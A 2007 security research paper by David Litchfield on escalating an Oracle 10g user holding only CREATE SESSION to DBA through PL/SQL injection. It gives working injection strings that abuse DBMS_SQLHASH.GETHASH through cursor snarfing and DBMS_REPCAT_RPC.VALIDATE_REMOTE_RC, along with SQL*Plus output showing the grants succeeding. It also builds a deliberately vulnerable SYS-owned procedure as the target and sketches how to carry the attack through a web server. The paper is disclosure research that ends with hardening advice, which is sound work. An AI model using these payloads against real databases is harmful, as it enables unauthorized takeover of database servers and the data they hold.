Exploiting PL/SQL Injection Flaws with only CREATE SESSION Privileges

David Litchfield [davidl@ngssoftware.com]

21st February 2007

An NGSSoftware Insight Security Research (NISR) Publication

Introduction

When exploiting PL/SQL injection flaws in SELECT/UPDATE/INSERT/DELETE statements it has long been known that if an attacker can create their own function, and inject this, then it is possible for them to execute arbitrary PL/SQL code - for example EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'. Of course, if the attacker can't create their own function because they don't have the privileges, then their ability to execute arbitrary PL/SQL is severely limited, unless they can find an extant function already on the system that allows them to execute arbitrary PL/SQL. Prior to April 2006 the DBMS_EXPORT_EXTENSION function could be used for this purpose but it has now been fixed. This paper looks at how a low privileged user, that is a user with only the CREATE SESSION system privilege, may exploit a PL/SQL injection flaw to gain DBA privileges by searching for and examining other functions like DBMS_EXPORT_EXTENSION.

Any such function should have the following properties:

o It must be a function and not a procedure - functions return a value, procedures do not. The function will be injected using the concatenation operator – the double pipe: ||.
o It must not contain any OUT parameters as these can’t be supplied during exploitation.
o It need not be executable by PUBLIC - if we're injecting into a package owned by SYS which uses definer rights then the package will have the privileges to use the function even if PUBLIC or the attacker cannot.
o It need not use definer rights – as the function will be injected into a vulnerable definer rights package an invoker rights function will execute as the definer of the executing package.
o It must return a simple datatype - if the function returns a complex datatype then this may cause an error if it can't be recast as a simple datatype.
o It must provide some mechanism for the attacker to execute arbitrary PL/SQL

After an intensive search of the PL/SQL packages in the SYS schema we find two of interest: the DBMS_SQLHASH.GETHASH function and the DBMS_REPACT_RPC.VALIDATE_REMOTE_RC function. As a point of interest, whilst DBMS_XMLGEN.GETXML and LTADM.CHILD_TABLE_EXISTS both look useful, they can only be used to run arbitrary SELECT statements.

Before we begin...

Despite there being a number of unpatched PL/SQL flaws that could be serve as a suitable example, for the purposes on this paper we'll create our own PL/SQL procedure called GET_OWNER and owned by SYS and make it vulnerable to PL/SQL injection. This paper's findings were tested on a fully patched 10g Release 2 server.

```
CONNECT / AS SYSDBA
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
      DBMS_OUTPUT.ENABLE(1000000);
      OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS
      WHERE OBJECT_NAME = ''' || P_OBJNM ||'''';
      LOOP
            FETCH CV INTO BUFFER;
            DBMS_OUTPUT.PUT_LINE(BUFFER);
            EXIT WHEN CV%NOTFOUND;
      END LOOP;
      CLOSE CV;
END;
/
GRANT EXECUTE ON GET_OWNER TO PUBLIC;
```

We also create a test user and grant it only the CREATE SESSION system privilege.

```
SQL> CREATE USER TESTUSER IDENTIFIED BY QWERT124;

User created.

SQL> GRANT CREATE SESSION TO TESTUSER;

Grant succeeded.
```

With the test user created let's connect:

```
SQL> CONNECT TESTUSER/QWERT124
Connected.
SQL> SET SERVEROUTPUT ON
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
CREATE SESSION
```

Now ensure that we can access the SYS.GET_OWNER procedure and it works as expected:

```
SQL> EXEC SYS.GET_OWNER('ALL_OBJECTS');
SYS
PUBLIC
PUBLIC

PL/SQL procedure successfully completed.
```

And then verify it can be injected into:

```
SQL> EXEC SYS.GET_OWNER('__INJECT''POINT__');
BEGIN SYS.GET_OWNER('__INJECT''POINT__'); END;
```

```
*
ERROR at line 1:
ORA-00933: SQL command not properly ended
ORA-06512: at "SYS.GET_OWNER", line 7
ORA-06512: at line 1
```

With everything set in place we can examine the functions in question.

The DBMS_SQLHASH.GETHASH function and Cursor Snarfing
The DBMS_SQLHASH package is owned by SYS but is not directly executable by PUBLIC. As we'll be injecting this function into a SYS owned definer rights procedure this, of course, does not matter as we shall see. This package exports a single function called GETHASH. This function takes a SQL statement as its first parameter which is then parsed via DBMS_SQL.PARSE and then executed via DBMS_SQL.EXECUTE. Whilst it's possible to run a SELECT query using DBMS_SQLHASH.GETHASH during an injection attack it is not directly possible to do anything else such as a GRANT DBA TO TESTUSER. Here we attempt to grant DBA privileges to the TESTUSER. This attempt should fail:

```
SQL> EXEC SYS.GET_OWNER('BBBB''||DBMS_SQLHASH.GETHASH(''DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO
TESTUSER''''; COMMI
T; END;'',1,1)||''BBBB');
BEGIN SYS.GET_OWNER('BBBB''||DBMS_SQLHASH.GETHASH(''DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO
TESTUSER''''; COMMIT; E
ND;'',1,1)||''BBBB'); END;

*
ERROR at line 1:
ORA-00900: invalid SQL statement
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1675
ORA-06512: at "SYS.DBMS_SQL", line 629
ORA-06512: at "SYS.DBMS_SQLHASH", line 28
ORA-06512: at line 1
ORA-06512: at "SYS.GET_OWNER", line 7
ORA-06512: at line 1
```

To verify our attempt to grant the TESTUSER DBA privileges didn't succeed we attempt to set the DBA role, which of course fails:

```
SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist
```

The reason the call to DBMS_SQLHASH.GETHASH fails like this is due to the fact that before calling DBMS_SQL.EXECUTE the function calls DBMS_SQL.DESCRIBE_COLUMNS2: because we're attempting to execute a block of anonymous PLSQL there are of course no columns to describe - hence the error.

To use DBMS_SQLHASH as an attack vector we need to think deeper. On studying the source we note that, whilst the cursor used for DBMS_SQL is closed in the event of a NO_DATA_FOUND exception there are no clean up routines executed in the event of an unhandled exception. As such, this makes the GETHASH function vulnerable to a cursor snarfing attack [http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf]. At the point above where we received the "invalid SQL statement" error the cursor should still be left dangling in the TESTUSER session. First we need to find the value of the cursor:

```
SQL> DECLARE
  2  C NUMBER;
  3  BEGIN
  4  FOR C IN 1..1000 LOOP
  5  IF DBMS_SQL.IS_OPEN(C) THEN
  6  DBMS_OUTPUT.PUT_LINE(C || ' IS OPEN');
  7  END IF;
  8  END LOOP;
  9  END;
 10  /
```

4 IS OPEN

```
PL/SQL procedure successfully completed.

SQL>
```

Here we see the value of the cursor is 4. We can feed this directly into DBMS_SQL.EXECUTE:

```
SQL> SELECT DBMS_SQL.EXECUTE(4) FROM DUAL;

DBMS_SQL.EXECUTE(4)
-------------------
                  1
SQL>
```

Now we can set the DBA role and gain DBA privileges:

```
SQL> SET ROLE DBA;

Role set.

SQL> SELECT PRIVILEGE FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
...
...
READ ANY FILE GROUP
CHANGE NOTIFICATION
CREATE EXTERNAL JOB
```

```
160 rows selected.
SQL>
```

With a little bit of tweaking this can also be used to exploit SQL injection problems across the web via Oracle Application Server, for example. Firstly, we don't know what the cursor value is going to be from one query to the next. Cursors, as used by DBMS_SQL, are unique to a given session and start at number 1 and go up to 300 - the maximum number of open cursors allowed by default. By injecting the DBMS_SQLHASH.GETHASH attack and then following up by injecting a call to DBMS_SQL.EXECUTE and cycling from 1 to 300 it should be possible to locate the dangling cursor. This will only work if the session is not ended between the two injection attempts.

Suffice it to say that, by snarfing a cursor, the DBMS_SQLHASH.GETHASH function can be used by an attacker with only the CREATE SESSION privilege to perform any action as SYS when used in conjunction with a SQL injection flaw in a SYS owned, definer rights package, of which there are many.

The DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC function

The DBMS_REPCAT_RPC package is owned by SYS. Whilst it uses definer rights it cannot be executed directly by PUBLIC, though of course, a SYS definer rights procedure will be able to use it. This package contains a function called VALIDATE_REMOTE_RC. This function takes as its first parameter the name of the currently logged on user. The second parameter, VALIDATE_STRING, is placed directly into an anonymous block of PLSQL which is then executed:

```
...
...
SQL_CURSOR := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(SQL_CURSOR, 'BEGIN ' || ' :err :=
sys.dbms_repcat_validate.' || VALIDATE_STRING || '(:canon_gname);' || '
END;', DBMS_SQL.V7);
DBMS_SQL.BIND_VARIABLE(SQL_CURSOR, 'err', ERR);
DBMS_SQL.BIND_VARIABLE(SQL_CURSOR, 'canon_gname', CANON_GNAME);
DUMMY := DBMS_SQL.EXECUTE(SQL_CURSOR);
...
...
```

This can be leveraged by an attacker to perform any action on the database server. Firstly, as the block of anonymous PL/SQL attempts to execute a function in the DBMS_REPCAT_VALIDATE package we need to know what function takes the CANON_GNAME parameter and returns a NUMBER. A quick DESCribe shows that the VALIDATE_GRP_OBJECTS_LOCAL function matches. Armed with this we can now go about exploiting this. Here, we simply close the query and chop off the remainder with a double dash:

EXEC SYS.GET_OWNER('AAAA''||DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC
(USER,''**VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname); end;--**'',''CCCC'')||''AAAA');

Another point to note here is the use of the USER() function as the first parameter. In many injection scenarios an attacker may not know the name of the currently logged on user, for example, if they are going through a web server.

With the basic query in place it is then possible to "add" to it - the following grants TESTUSER DBA privileges.

```
SQL> CONNECT TESTUSER/QWERT124
Connected.
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
CREATE SESSION

SQL> SET ROLE DBA;
SET ROLE DBA
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist

SQL> EXEC SYS.GET_OWNER('AAAA''||DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC
(USER,''VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname); execute immediate
''''declare pragma autonomous_transaction;
begin execute immediate ''''''''grant dba to testuser'''''''';
end;''''; end;--'',''CCCC'')||''AAAA');

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.

SQL> SELECT PRIVILEGE FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
...
...
MANAGE ANY FILE GROUP
READ ANY FILE GROUP
CHANGE NOTIFICATION
CREATE EXTERNAL JOB

160 rows selected.

SQL>
```

As can be seen this function provides an attacker with only the CREATE SESSION privilege to perform arbitrary actions on the server.

In Conclusion…

This investigation has shown that even with only CREATE SESSION privileges an attacker doesn’t need the ability to create their own functions in order to fully exploit PL/SQL injection flaws. The two functions mentioned in this paper are probably two of many – similar functions could exist in other schemas and more may exist in the SYS schema. By far and above the best way to keep your systems secure is always use the principle of least privilege when deploying production systems, keep them up to date with patches and lastly, drop any packages or components not used by the server.